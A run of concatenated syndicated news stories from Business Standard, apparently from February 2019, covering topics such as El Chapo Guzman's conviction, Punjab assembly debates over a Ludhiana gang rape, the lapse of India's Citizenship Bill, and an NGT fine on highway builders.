"The verdict was a tremendous victory for the rule of law, for Mexico, the United States and other countries that have been victims of the Sinaloa cartel," Mike Vigil, former head of international operations for the US Drug Enforcement Administration, told AFP.

"Chapo Guzman was the world's greatest drug lord of all time," Vigil added.

"He surpassed other drug lords, including Pablo Escobar."



In a three-month trial that unfolded like a real-life telenovela, Guzman's ex-henchmen and a former mistress took the stand under the gaze of the stocky gangster, whose nickname is Spanish slang for "shorty."



His young wife, onetime beauty queen Emma Coronel, showed up almost every day in court to be with her husband.

After sentencing on June 25, Guzman is likely to be transferred to a so-called "supermax" prison in Colorado, sometimes called the "Alcatraz of the Rockies" and considered one of the most secure in the US.

His conviction is seen as a big win for the US, which failed to obtain the extradition of Escobar, the Colombian drug lord who was killed in a police operation in 1993.

Guzman's lawyer Bill Purpura said his client had expected the verdict but was a "guy who never gives up" and had vowed to appeal.

During the trial, the government presented 56 witnesses and troves of incriminating material, including intercepted calls between Guzman and his associates, and conservations taped secretly by informants.

Some of the most eye-watering testimony came from a former hitman who offered gruesome details about acts of torture and killings of rivals personally carried out by his then boss.

Isaias Valdez Rios told the court he saw Guzman leave one captive -- a rival from the Arellano Felix cartel -- in a chicken coop for two days After two interrogations, Guzman shot the man -- before ordering him buried alive.

On another occasion, the court heard, Guzman beat two members of the Zetas cartel with a thick tree branch till their bones were broken before shooting them dead.

Guzman was not on trial for murder, but federal prosecutors attempted to depict him as a violent and ruthless man, ready to do anything to protect his business.

Former employees testified that the cartel paid bribes of millions of dollars at the highest levels of government, including to former President Enrique Pena Nieto, who denies the allegation.

The trial also offered a glimpse at the opulent lifestyle led by Guzman, who grew up in poverty.

His ex-pilot and former cartel manager for Mexico City testified that Guzman had four airplanes, numerous houses including a mansion in Acapulco, a yacht named "Chapito" and a ranch that included a zoo and a small railway.

In his closing arguments late last month, another of Guzman's lawyers, Jeffrey Lichtman, asked the jury not to convict on the basis of the "garbage" testimony of government witnesses.

Lichtman contended that Guzman was merely a "scapegoat," and that the real culprit in the drug trafficking operations was Ismael "El Mayo" Zambada, the co-founder of the Sinaloa cartel.

"Mayo has been the largest narcotrafficker for decades in Mexico. He has never been arrested. He has paid hundreds of millions of dollars to stay free," Lichtman said.

The government, meanwhile, appealed to the jury not to let Guzman "escape" -- an allusion to his two spectacular jail breaks in Mexico, the last in 2015 through a tunnel from a shower area in his cell.

The defense called just one witness, an FBI agent put on the stand in an attempt to undermine the credibility of one of Guzman's cocaine suppliers who had testified against him.

The defense's strategy centered on attacking the credibility of the cooperating witnesses -- former secretaries, pilots, cocaine suppliers, Guzman's top trafficker in the United States, a manager, an accountant, a former communications chief, and a former lover.

Most are serving prison sentences and hoped to have their penalties reduced in return for their cooperation with prosecutors.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Meghan Markle is being 'vilified and chased' by the tabloid press in the same way the late princess Diana was, Hollywood superstar George Clooney has told an Australian magazine.

Clooney, a close friend of Markle and husband Prince Harry, warned of "history repeating" itself with the increasingly feverish media attention on the expectant royal couple.

"I do want to say, they're just chasing Meghan Markle everywhere," Clooney told WHO magazine during an interview in Los Angeles.

"She's a woman who is seven months pregnant and she has been pursued and vilified and chased in the same way that Diana was and it's history repeating itself," he added.

"We've seen how that ends." Diana died in a car crash in a Paris tunnel in 1997 while being chased by paparazzi on motorcycles.

Britain's famously aggressive press at first welcomed Markle into the royal fold when she and Harry tied the knot at a lavish Windsor Castle wedding last May, in a ceremony attended by Clooney and his human rights lawyer wife Amal.

The mixed-race actress was credited with breathing fresh life into a monarchy sometimes labelled stale and out of touch.

But coverage has turned increasingly critical -- despite the impending birth of the couple's first child -- with reports of palace sniping over her manner.

Tabloid newspapers have also luxuriated in stories about Markle's fractured American family.

Last week one paper published a highly personal letter they said was written by Markle to her estranged father in which she begged him to "stop lying....stop exploiting my relationship with my husband".

Clooney, who was promoting his new TV series "Catch-22", slammed the invasion of her privacy.

"I can't tell you how frustrating that is, just seeing them broadcast a letter from a daughter to a father, she's getting a raw deal there and I think it's irresponsible and I'm surprised by that," he said.

Harry and his older brother William have had a difficult relationship with the media since the death of their mother.

Harry recently revealed that for a long time he struggled to cope with her death, and sought professional help a few years ago.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)In a major relief to students, the Meghalaya government has put a cap on the weight of schoolbags for all classes and set restrictions on homework for classes 1 and 2.

According to the state department, the official order issued to the school authorities is in tune with the directives of the Union Human Resources Development Ministry.

"We have issued instructions via a notification, setting limits on the weight of school bags. This is in line with the guidelines of the Union Human Resources Development Ministry, keeping in mind that the weights the children carry affect their health," Principal Secretary D P Wahlang told PTI.

The department has also asked the heads of institutions to ensure that timetables are designed in a way that students do not have to carry too many books or notebooks to school.

"The weight of school bags for classes 1 and 2 has been capped at 1.5 kg, while bags for those studying in classes 3 to 5 should not exceed 3 kg," the notification said.

For students of classes 6 to 7, the maximum weight should be 4 kg, it said.

Similarly, the weight of school bags for classes 8 and 9 has been capped at 4.5 kg and the maximum weight of bags for class X students has been limited to 5 kg.

"Schools should make sure that the students are asked to carry only those textbooks that have been mentioned in their time table," the order said.

The department has also barred schools from assigning homework to students of classes I and II, except in subjects recommended by CBSE, ICSE or MBOSE (Meghalaya Board of School Education).

"Students should not be forced to bring additional books and materials," it said, adding that children should be encouraged to participate in co-curricular activities for their holistic development.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Facing disapproval from women lawmakers for comparing himself to a rape survivor, Karnataka Assembly Speaker Ramesh Kumar Wednesday expunged his own remarks made in the House and sought pardon from them.

With his analogy Tuesday drawing criticism as being gender insensitive, the Speaker blamed the media for 'hyping' the issue "by adding masala" to his remarks.

After the women MLAs, including Chief Minister H D Kumaraswamy's wife AnithaKumaraswamy, met him in his chamber and conveyed their disapproval, Kumar told the House that he had no intention to cause any pain towomen members and that he considered them like his mothers and sisters.

"I'm directing my office to expunge all the comments made circumstantially from the records. I am clarifying that I had no intention to cause any pain to any woman from the Chair.

"...if anyone has felt so,kindly pardon me...all of you are like mothers and sisters. Ihave always respected you and continue to do so," the Speaker said.

Kumar had made the controversial remarks during an intervention on discussions on Tuesday over a SIT probe into an audio clip involving BJP chief B S Yeddyurappa in a purported conversation to lure a JD(S) MLA in his alleged attempt to topple the Congress-JDS government.

The Speaker's remarks had evoked guffaw from the members.

Pointing to repeated reference to a charge against him in the audio that he had been "booked" for Rs 50 crore for a favourable ruling in case the ruling coalition MLAs resigned and the anti-defection law provisions are invoked against them, he had compared himself to a rape survivor having to undergo unabated questioning.

TheChief Minister has announced the Special Investigation Team to probe theaudio episode, on the "advice" of the Speaker to "establish the truth", as his name has also been dragged with the charge that he had been "booked" for Rs 50 crore.

Besides Anitha Kumaraswamy, the other women MLAs who met the speaker are Anjali Nimbalkar, Roopa Kala Shashidhar, Kaneez Fatima, Lakshmi Hebbalkar, Sowmya Reddy and Vinisha Niro.

They met Kumar after his comments and their silence on the issue drew criticism.

"Yesterday, during the proceeding circumstantially I had spoken about the situation of a rape victim and even more insult the victim has to undergo during inquiry and reason why laws made are getting destroyed," he said.

He said, "As I made this statement a few of them (MLAs) laughed and few in the media have termed it as causing disgrace to women. For the last two days they (media) had not got any masala, they too have to lead life right, so they are doing this."



The Speaker said women MLAs came to him and said they had beenconducting themselves respectfully in the House. They said they were beingquestioned for remaining silent while others were laughing.

"Iunderstand their sentiments," he said, adding that one can escape from the gallows but not from the media and "let's empty the masala for them."



Earlier, speaking to the media, women MLAs cutting acrossparty lines expressed their displeasure about the Speaker's comment Tuesday and said it could have been avoided.

BJP MLA Shashikala Jolle said: "His (Speaker) situation may be so because of the humiliation he is made to undergo because of repeated reference to charges, but the way it was put across was not right."



Another BJP MLA Roopali Naik said the comments werenot right and "it looked as though it (victims' situation) was being taken lightly. Such comments should not have been made. We wanted to express displeasure immediately, but."



Nominated member Vinisha Niro sought to defend the Speaker saying he was drawing a parallel to the 'pain' he had been undergoing.

"He has complete respect for women, but heshouldn't have made those comments," she said.

Congress legislator Lakshmi Hebbalkar said, the Speaker did not intend to insult woman, "but this (comments) should not have happened."



Hebbalkar's lawmaker colleague Sowmya Reddy said, "I agree thatthe words shouldn't have been used. Rapes don't happen only onwoman, it happens also on men.... Knowing him, I can say, hedid not meant hurting anybody.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Mars may have volcanic activity below its surface, according to scientists who argue that without an underground source of heat it would not be possible for the Red Planet to host liquid water.

Previous research has suggested that liquid water is present beneath the south polar ice cap of Mars.

According to the study published in the AGU journal Geophysical Research Letters, there needs to be an underground source of heat for liquid water to exist underneath the polar ice cap.

Researchers from University of Arizona in the US suggest recent magmatic activity -- the formation of a magma chamber within the past few hundred thousand years -- must have occurred underneath the surface of Mars for there to be enough heat to produce liquid water underneath the kilometer-and-a-half thick ice cap.

On the flip side, the team said that if there was not recent magmatic activity underneath the surface of Mars, then there is not likely liquid water underneath the ice cap.

The presence of liquid water on the Red Planet has implications for potentially finding life outside of Earth and could also serve as a resource for future human exploration of our neighbouring planet.

Mars has two giant ice sheets at its poles, both a couple of kilometers thick. On Earth, it is common for liquid water to be present underneath thick ice sheets, with the planet's heat causing the ice to melt where it meets the Earth's crust.

In a paper published last year in Science, scientists claimed radar observations detected evidence of liquid water at the base of Mars's south polar ice cap. However, that study did not address how the liquid water could have gotten there.

Researchers first assumed the detection of liquid water underneath the ice cap was correct and then worked to figure out what parameters were needed for the water to exist.

They performed physical modelling of Mars to understand how much heat is coming out of the interior of the planet.

One plausible heat source would be volcanic activity in the planet's subsurface. The magma from the deep interior of Mars rose towards the planet's surface about 300,000 years ago.

It did not break the surface, like a volcanic eruption, but pooled in a magma chamber below the surface. As the magma chamber cooled, it released heat that melted the ice at the base of the ice sheet.

The magma chamber is still providing heat to the ice sheet to generate liquid water today.

The study proposes that there could have been more recent underground volcanic activity. If there was volcanic activity happening hundreds of thousands of years ago, there is a possibility it could be happening today, researchers said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Senior IPS officer Rina Mitra, a top contender for the post of CBI Director before her retirement last month, has been appointed as the Principal Advisor to the West Bengal government on internal security, a senior official said Wednesday.

Responsibilities of Mitra, who retired on January 31 last, for the newly created post would be defined later in a separate order, he said.

Secretariat insiders described the appointment of Mitra as a tactical move by the Mamata Banerjee government at a time when its officials were at loggerheads with the Federal Investigative agency.

The West Bengal police had a tiff with the CBI recently over its action against Kolkata Police Commissioner Rajeev Kumar in the Sardha chit fund scam case.

Chief Minister Mamata Banerjee had taken strong objection to the CBI act against Kumar and staged a three-day dharna in Kolkata last week.

The West Bengal and the NDA government at the Centre have been on collision course on several other issues related to the law and order in the state in the run up to the general election.

During her long career, Mitra, an IPS officer of the Madhya Pradesh cadre, had also worked as Special Secretary (Internal Security) in the Ministry of Home Affairs (MHA).

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Egyptian billionaire businessman Naguib Sawiris said on Tuesday he sees opportunities for mining, telecoms and hotels in North Korea if a summit between its leader Kim Jong Un and U.S. President Donald Trump later this month is successful. Reuters reports in its article North Korea big opportunity if Trump summit goes well - Egypt's Sawiris that Trump said last week he would hold his second meeting with Kim in the Vietnamese capital Hanoi on Feb. 27 and 28 after an unprecedented first meeting between the leaders in Singapore last June.

Sawiris, whose telecoms business operates the Koryolink mobile phone network in North Korea in a joint venture, said the impoverished country needed investments across the board from hotels to roads to modern methods of agriculture.

Its just a country full of opportunities if it opens up, Sawiris the executive chairman of Orascom Investment Holding said on the sidelines of a conference in Abu Dhabi.

I am looking forward in other areas such as mining, tourism, agriculture, agro-industries. But mining is amazing - they have so many resources and they dont have the money to spend on exploration.

A State Department spokesman said last week that topics for the summit include complete denuclearization, transformation of U.S.-North Korea relations and building a lasting peace mechanism on the Korean Peninsula.

I am very upbeat on the (Trump) meeting because I think we might really achieve peace in that meeting. I think the North Koreans - all that they want - is recognition, respect, dialogue and they are getting it now.

He said mobile phone penetration in North Korea was around 15 percent of the population or some three million people and market growth was limited because of expensive handsets that needed to be paid for in foreign currency.

Orascom Investment Holdings said in September it had been granted an exemption from the United Nations to operate Koryolink, its joint venture with North Koreas Post and Telecommunication Company.

This came after the U.N. Security Council tightened sanctions making it illegal for foreign companies to form commercial joint ventures with North Korean entities.The BJP's West Bengal unit Wednesday mocked Chief Minister Mamata Banerjee for joining the opposition rally convened by the Aam Aadmi Party (AAP) describing it as a "desperate attempt to hog the limelight".

These rallies show the "desperation" of the opposition parties to capture power at any cost, West Bengal BJP president Dilip Ghosh said.

At a mega rally in New Delhi, opposition leaders slammed the BJP as a "threat to democracy" which must be defeated in the coming general election.

"She (Banerjee) is busy going to Delhi attending dharna of opposition leaders. This is a desperate attempt to hog the limelight. There are so many opposition leaders and everybody including Mamata Banerjee is fighting for the prime minister's post. Instead of dreaming of becoming the PM, she should pay attention to provide good governance in Bengal," Ghosh said.

While going to Delhi, she has left the state at the mercy of her party leaders who are busy looting the people, the BJP leader alleged.

"The more these parties organise such rallies, the more it will be clear that opposition leaders are rudderless and are afraid of (Prime Minister) Narendra Modi. It shows their desperation to capture power at any cost," he said.

Ghosh also accused the Trinamool Congress (TMC) government of trying to implicate BJP leaders and workers in false cases ahead of the Lok Sabha polls.

"The TMC is afraid of the BJP due to the growing popularity of our party in of this state. That is why the TMC is implicating BJP leaders and cadres in false cases. We want to warn them that we will fight till the end and will not cow down before such threats and intimidation," he said.

His comments come in the backdrop of BJP leader Mukul Roy being named in an FIR in the killing of a TMC MLA in Nadia district last week.

Roy claimed that he was booked out of "political vendetta" and was in no way linked to the murder of Krishnaganj MLA Satyajit Biswas on Saturday.

Biswas, who represented Krishnaganj constituency in the West Bengal Assembly, was shot dead from point-blank range by unidentified assailants inside a Saraswati puja marquee at Phoolbari area in the district, bordering Bangladesh.

Roy had filed an anticipatory bail application before the Calcutta High Court that on Wednesday directed the police not to arrest him till March 7.

Before blaming the BJP for every killing that is taking place in West Bengal, the TMC should take steps to control infighting within the party, Ghosh said.

"Why would the BJP be involved in the killings? Several of our party cadres and leaders have been rendered homeless or killed by TMC workers. We don't believe in the of killing," he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Maldives' former president Abdulla Yameen, who is accused of using money stolen from state coffers, was charged with money laundering on Wednesday, according to a local media report.

The case stems from an allegedly shady deal to lease islands for tourist resort development and the discovery of USD 1 million in his bank account.

The case has been filed at the criminal court, the Prosecutor General's office tweeted on Wednesday.

Yameen, who lost presidential election to Ibrahim Mohamed Solih in September 2018 after a five-year rule, is accused of using money stolen from state coffers, police said last week, after wrapping up investigations, The Maldives Independent reported.

Under the 2014 anti-money laundering law, the offence carries a prison sentence between five to 15 years or a fine of up to USD 64,850.

Separate charges were sought over alleged false testimony to the Anti-Corruption Commission during its investigation into the theft of USD 90 million from the Maldives Marketing and Public Relations Corporation (MMPRC), the paper said.

Yameen was questioned in December over USD 1 million deposited to his personal account by SOF, a local company that was used to funnel resort acquisition fees paid to the MMPRC.

"The SOF company which benefited from the funds stolen from MMPRC deposited USD 1 million to Yameen's account at the Maldives Islamic Bank. Yameen was ordered to return the state funds, but the investigation found that he had profited by not handing over the money and by carrying out transactions," police said.

Yameen denies any wrongdoing. Last week, his legal team dismissed the charges as an attempt to influence the April 6 parliamentary elections.

"The ACC has so far been unable to prove that the USD 1 million transferred to Yameen's account in MIB by the SOF company was state funds earned through corruption," lawyers contended in a statement.

Yameen's former legal affairs minister Aishath Azima Shukoor is also facing charges of lying to the authorities and assisting with money laundering. It is unclear whether the PG office has raised charges against her.

Weeks after Yameen left office, his bank accounts were frozen with more than USD 6.5 million and local currency as police launched a probe into campaign contributions and the USD 1 million from SOF.

Yameen jailed or exiled most of his rivals during his turbulent five-year term. Suspecting a plot to impeach him, Yameen in February 2018 declared a state of emergency and arrested top judges as well as political opponents.

His rule dented its image as a honeymoon paradise and attracted alarm abroad. He decisively lost the country's presidential election to opposition leader Solih in October 2018.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A court in Ludhiana on Wednesday remanded the three men, arrested in connection with the gang rape of a woman here, for seven days in police custody even as the accused were manhandled by Akali Dal supporters.

The three accused identified as Sadiq Ali, Jagroop Singh and Surmo (all in age group of 20 to 30) were presented before Ludhiana Judicial Magistrate Ankit Aerry who remanded them in police custody for seven days.

A group of protesters owing allegiance to youth Akali Dal led by Meetpal Singh Dugri hurled shoes and also manhandled the accused while they were being taken to the court, police said.

A 21-year-old woman was raped allegedly by 10 men near Issewal village on the banks of Sidwan canal, about 15 km from Ludhiana on Saturday, after the car she was travelling in with her friend was stopped and she was dragged out.

Chief Minister Amarinder Singh said in the Punjab Assembly that fast track courts were mooted to try rape cases.

He also assured the House that he would approach the Chief Justice of Punjab and Haryana High Court in Chandigarh to seek his personal intervention to ensure speedy justice in such cases.

The CM stressed the need for prompt dispensation of justice to the victims, besides exemplary punishment to the convicts in such dastardly acts as a deterrent for others.

He informed the House that out of the six alleged persons involved in this heinous crime, three had already been arrested and the remaining would be nabbed soon.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Ludhiana gang rape incident rocked the Punjab assembly on Wednesday with the opposition alleging that the law and order situation in the state had deteriorated under the Congress government.

Punjab Chief Minister Amarinder Singh assured the House that he would request the chief justice of the Punjab and Haryana High Court to set up a fast track court to bring the accused to justice.

On Saturday, a 21 year old woman was gang raped in Ludhiana and three of the six accused in the case have been arrested.

During the Zero Hour, AAP MLA Sarabjit Kaur Manuke raised the Ludhiana gang rape issue.

AAP MLA H S Phoolka while describing it as a "serious matter" sought assurance from Singh to adopt zero-tolerance towards such a henious crime.

Shiromani Akali Dal and AAP members alleged that the law and order situation had deteriorated in Punjab under the present government.

Insisting that the law and order situation had been maintained effectively during the last two years of his government, the chief minister said three of the six persons involved in gang-rape incident had been arrested.

The remaining three will be nabbed soon, Singh informed the House.

He assured the House that he would urge the the chief justice to set up fast track court and hold its proceedings on a day-to-day basis.

Singh said he was ready for a debate in the House on the law and order situation.

The AAP and SAD-BJP also raised the issue of lathicharge against teachers in Patiala on Sunday.

SAD and BJP MLAs walked out of the House over the issue of lathicharge on teachers that led several people injured.

Later, AAP MLAs, barring rebel legislators in the party and Phoolka, staged a walk out on the teachers and Ludhiana gang rape issues.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Ludhiana gang rape incident rocked the Punjab Assembly on Wednesday with opposition AAP and LIP trying to corner the Congress government over "deteriorating" law and order situation.

Chief Minister Amarinder Singh told the House he will take up the matter with the Chief Justice of Punjab and Haryana High court for ensuring speedy justice.

The cane charge on protesting teachers, including women, by police in Patiala on Sunday also echoed in the Assembly with opposition AAP and SAD-BJP staging a walk out of the House after their adjournment motion on "police atrocity" on teachers were not allowed by the Speaker.

During Zero Hour on the second day of the Budget Session, AAP legislator from Jagraon Sarabjit Kaur Manuke raised the issue of Ludhiana gang rape incident and alleged that the law and order machinery had "completely failed" in the state.

She alleged that crime against women had been rising in the state.

Intervening in the matter, Dakha MLA H S Phoolka drew the attention of CM Amarinder Singh, asking him to adopt zero tolerance towards such a heinous crime.

While describing it as a "serious matter", Phoolka, who had quit AAP last month, sought dismissal of police personnel who failed in performing his duty in connection with this incident. He also demanded that security in the area where the crime took place be beefed.

A 21-year-old woman was raped allegedly by 10 men near Issewal village on the banks of Sidwan canal, about 15 km from Ludhiana on Saturday, after the car she was travelling in with her friend was stopped and she was dragged out.

Lok Insaaf Party (LIP) MLA Simarjeet Singh Bains alleged that the law and order situation had failed in the state as the "horrendous" incident had taken place in Ludhiana which is often called "Manchester of India".

The chief minister told the House that he would approach the Chief Justice of Punjab and Haryana High Court to seek his personal intervention to ensure speedy justice in such cases.

"I want to assure the House that I will meet Chief Justice personally and urge him to try all such cases in fast track court and it is to be taken up on day-to-basis to ensure justice," Amarinder Singh informed the House.

He stressed the need for prompt dispensation of justice to the victims, besides exemplary punishment to the convicts in such dastardly acts as a deterrent for others.

He informed the House that out of the six accused, three had been arrested and remaining would be nabbed soon.

A court in Ludhiana on Wednesday remanded the three men, arrested in connection with the gang rape of the woman, for seven days in police custody even as the accused were manhandled by Akali Dal supporters.

Asserting that there was no law and order problem in the state, Amarinder challenged the opposition for a debate on the issue.

"My government is prepared for debate on law and order situation," he said.

Earlier, during Zero Hour, AAP and SAD-BJP legislators sought adjournment motion to discuss lathicharge on protesting teachers in Patiala on Sunday.

Though the Speaker did not allow the adjournment motion, SAD-BJP members shouted slogans against the government and staged a noisy walk out of the House.

Lashing out at the Congress regime over cane charge of teachers, AAP legislator Kultar Singh Sandhwan accused the Congress government of "following the footsteps of previous Akali-BJP regime" which had allegedly beaten up teachers.

Later, AAP legislators staged a walk out of the House. However, Phoolka and five rebel MLAs of the AAP, including Kanwar Sandhu, kept sitting in the House.

Police lathicharged a group of teachers, leaving many of them injured, when it was marching towards Amarinder Singh's residence to protest against conditions for their regularization.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)In an all-out attack on Narendra Modi, Delhi Chief Minister Arvind Kejriwal said on Wednesday that people made a Class 12-pass the prime minister of the country but they should not repeat the mistake in 2019.

The Aam Aadmi Party supremo also charged Modi with being involved in corruption in the Rafale fighter jet deal.

"Last time you made a Class 12-pass the prime minister of the country. Do not commit the mistake this time and find someone who is educated because a Class 12 pass (person) has not the understanding where he is putting his signs," Kejriwal said, referring to questions raised on Modi's educational qualification.

Addressing the "Tanashahi Hatao, Loktantra Bachao" rally in presence of opposition leaders including Mamata Banerjee, Sharad Pawar and Chandrababu Naidu, Kejriwal asserted their protest-rally will uproot the Modi government.

"This dharna will uproot the Modi government just as it removed the then government (of Congress-led UPA) in the country after the historic anti-corruption movement gathering at Jantar Mantar on April 4, 2011," he said.

Alleging that the Modi government purchased Rafale fighter jets at an increased price, Kejriwal accused the prime minister of directly responsible for price escalation.

"Narendra Modi himself negotiated with the company of Rafale," he said, waving a purported paper from a Defence Ministry file.

He said if the truth behind Rafale deal were to be uncovered, the prime minister will have to resign.

"Does it behove the prime minister of the country to negotiate price of an aircraft with a company. It has now proved that Modi is involved in corruption in the Rafale deal," he charged.

Kejriwal lauded Trinamool Congress chief and West Bengal Chief Minister Mamata Banejree for the way she tackled the recent issue of CBI officials bid to question Kolkata police commissioner in an under-investigation case, saying it was an attack by Modi on the elected government in West Bengal.

"The West Bengal government is an elected government. It's not a paternal right (bapauti) of Modi. If the commissioner was arrested, the message would have been conveyed across the country that one needed to fear the Modi government, not a state government," he said.

The Delhi chief minister hit out at the prime minister, accusing him of "tearing apart" Dr Ambedkar's Constitution that provides federal structure in the country.

The Modi government snatched away Anti-Corruption Branch (ACB), which had registered cases against high-profile people in the country, from Delhi government, with the help of paramilitary force, charged Kejriwal.

"I want to tell the prime minister that Delhi is the capital of the country and he is not prime minister of Pakistan. Only Pakistan prime minister dreams of attacking Delhi and Congress.

"If Pakistan PM had occupied ACB building, we would show him that blood is hot in our body. But we respect you being the Prime Minister of India," he asserted.

He also accused Modi and BJP chief Amit Shah of "spoiling" harmony in the country in the past five years.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The Union Cabinet on Wednesday approved allotment of land to Pasteur Institute of India (PII) for setting up of new viral vaccine manufacturing unit at Coonoor in Tamil Nadu.

The project entails production of viral vaccines such as TCA anti-measles vaccine, Japanese encephalitis and anti-sera at the PII, Coonoor. Land for the project will be transferred free of cost, an official statement said.

The allotment of land will encourage the production of life-saving vaccines for children and strengthen the vaccine security of the country. Most of these vaccines are at present imported.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A wave of jubilation swept through Assam and other northeastern states, in ferment for the last few weeks, after the hugely divisive Citizenship Bill could not be tabled in the Rajya Sabha and was destined to die a natural death with the expiry of the term of the current Lok Sabha on June 3.

Celebrations erupted across Assam with opponents of the bill bursting crackers, distributing sweets and breaking into frenzied dancing on the streets.

Leaders of the AGP, AASU, KMSS, AJYCP--all antagonists of the Citizenship (amendment) Bill, 2019, claimed the Centre's failure to pass the legislation in the Rajya Sabha was a victory of democracy and of the people of Assam and the northeast over "communal" forces.

"Narendra Modi, Amit Shah, Sarbananda Sonowal, Himanta Biswa Sarma hai, hai," they chanted, as fireworks reverberated in cities, towns and villages of Assam.

The BJP, which stood isolated on the issue, with even its alliance partners in the northeast raising a banner of revolt, however, put up a brave and belligerent face, with Assam minister Himanta Biswa Sarma calling the development a "defeat" for Assam, and declaring his party will contest the Lok Sabha elections with "commitment" to the bill.

Sarma, who heads the North-East Democratic Alliance, the NDA's version in the region, also declared the alliance will bring the bill once again after winning the Lok Sabha elections with a majority.

The contentious Citizenship (amendment) Bill provided for according Indian citizenship to Hindus, Jains, Christians, Sikhs, Buddhists and Parsis from Bangladesh, Pakistan and Afghanistan after seven years of residence in India instead of 12 years, which is the norm currently, even if they do not possess any document.

It was passed by the Lok Sabha during the Winter Session on January 8 and was awaiting the Rajya Sabha's approval.

Bills introduced in the Rajya Sabha and pending there do not lapse with the dissolution of the Lok Sabha. However, a legislation introduced in the Lok Sabha but awaiting clearance of the Rajya Sabha expires at the end of the term of the Lower House.

As the of the inevitable expiry of the bill reached Manipur, curfew was lifted in state capital Imphal. The restive state's capital city was under curfew since Tuesday, but furious protesters were on the streets overnight, clashing with police.

Curfew was lifted this afternoon following improvement in the law and order situation, District Magistrate of Imphal West Naorem Praveen Singh said.

Mobile internet services will, however, continue to remain suspended for some more time.

Chief Minister N Biren Singh thanked Prime Minister Narendra Modi, BJP chief Amit Shah, and Union Home Minister Rajnath Singh for not tabling the bill in the Rajya Sabha and opting for consensus.

"On behalf of the people of Northeast & in particular Manipur, I would like to profusely thank Honble PM @narendramodi ji, BJP Pres @amitshah ji and HM @rajnathsingh ji for not tabling the CAB and opting for consensus driven approach. We deeply appreciate ur affection for NE!", Singh tweeted.

Student outfits, socio-cultural organisations and political parties were up in arms against the Centre, claiming granting citizenship to non-Muslims who came to India up to December 31, 2014, would violate the Assam Accord. Under the accord signed in 1985, all illegal immigrants who came after 1971, irrespective of their religion, were to be deported.

Two BJP chief ministers of the northeast -- Arunachal Pradesh's Pema Khandu and Manipur's Biren Singh -- had also opposed the bill, which the prime minister called an "atonement for the wrong that was done during Partition".

Meghalaya Chief Minister Conrad Sangma of the National People's Party, a BJP ally who had threatened to pull out of the NDA if the bill was passed in the Rajya Sabha, called it a "great moment" for the people of the northeast.

Sangma had marshalled parties of the region to launch a concerted protest against the legislation.

Prafulla Kumar Mahanta, a former Assam chief minister who spearheaded the students' agitation that resulted in the signing of the Assam accord, warned the Centre against taking the ordinance route to "impose" the new citizenship law.

"Government of India must take note of it and not impose the bill by bringing an ordinance. Like the government has weapons, the public also has other alternatives," the AGP leader said. His party had walked out of the NDA over the controversial legislation.

Another former chief minister of Assam, Tarun Gogoi of the Congress, branded the development a victory of democracy, of the people of the northeastern region and Assam.

"The BJP wanted to destroy the existence, language, culture and heritage of the indigenous people of Assam and the northeast region," he said, insisting the bill violated the Indian Constitution.

"They were hoping to get votes in the name of Hindutva. That has been defeated," he said.

Himanta Biswa Sarma, however, was typically combative on the issue.

"The BJP is committed and will forever be committed to the bill. I fully support the bill. BJP will fight (the elections) with this commitment. There is nothing to hide about it," he said.

Sarma, who had once controversially warned that 17 Assembly seats of Assam will "go the Jinnah way" if the bill was not passed, said," Who will save the (Assamese) community?



"If we do not have the bill, entire Assam will be ruled by Bangladeshi Muslims in 2021. Then Assam's civilisation, culture and language will be finished forever.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Jammu and Kashmir Governor Satya Pal Malik expressed sorrow over the blast in Pulwama district on Wednesday which left 12 students injured, a Raj Bhavan spokesman said.

The governor prayed for the speedy recovery of the injured and announced ex-gratia of Rs 50,000 for each of them. He directed the Divisional Commissioner of Kashmir to ensure best possible medical treatment for the students, the spokesman said.

The explosion took place inside a private school at Narbal village of Kakapora area on Wednesday afternoon, leaving 12 students of class 10 injured.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The NGT has slapped a penalty of Rs 1 crore each on the Gammon India Limited and the Hindustan Construction Co Ltd for damaging the by dumping soil in Chenab and Tawi rivers for construction on a stretch of the Udhampur-Banihal National Highway in Jammu and Kashmir.

A bench headed by National Green Tribunal (NGT) Chairperson Justice Adarsh Kumar Goel also ordered them to furnish a performance guarantee of Rs 1 crore for improving the situation within the next three months.

"The deposit of compensation be made with the Central Pollution Control Board (CPCB) within one month and the performance guarantee may also be furnished to the satisfaction of the CPCB within one month. Let further report of the committee be furnished after three months but before June 30, 2019," the bench said.

The tribunal passed the order after perusing a report by a monitoring committee, headed by former judge of Jammu and Kashmir High Court Justice J R Kotwal, which informed it that the project proponent should immediately discontinue with the use of dumping sites.

It also suggested that the state government and the Forest Department should show serious concern in providing suitable and adequate number of new dumping sites to the project proponent within the shortest possible time.

The green panel also asked the committee to examine the actual extent of damage and the amount required for restoration.

Noting the report, the NGT said, "Having regard to the entirety of the fact situation and the observations of the Committee to which there is no challenge, we direct the Gammon India Limited and the Hindustan Construction Co. Ltd. to pay interim compensation for the damage to the to the extent of Rs 1 crore each and also furnish performance guarantee for improving the situation in the manner suggested within next three months in the sum of Rs 1 crore each."



The tribunal was hearing a petition filed by Ramban resident Amaresh Singh against rampant dumping of soil in Chenab and Tawi rivers and sought directions to restrain the authorities from throwing debris in the water bodies while constructing the stretch of the Jammu-Srinagar National Highway between Udhampur and Banihal.

The plea, filed through advocate Swarn Kishore Singh, had said the work on four-laning of the stretch of the highway was being executed in "a reckless manner" and loose soil was being dumped directly into the two rivers.

The tribunal had earlier constituted a committee comprising a senior scientist from the Central Soil and Water Conservation Research and Training Institute, Central Pollution Control Board, Ministry of and Forests and Shimla-based Himalayan Forest Research Institute.

It also directed the committee to submit in its report, technical information proposed for disposal of the soil lying along the highway.

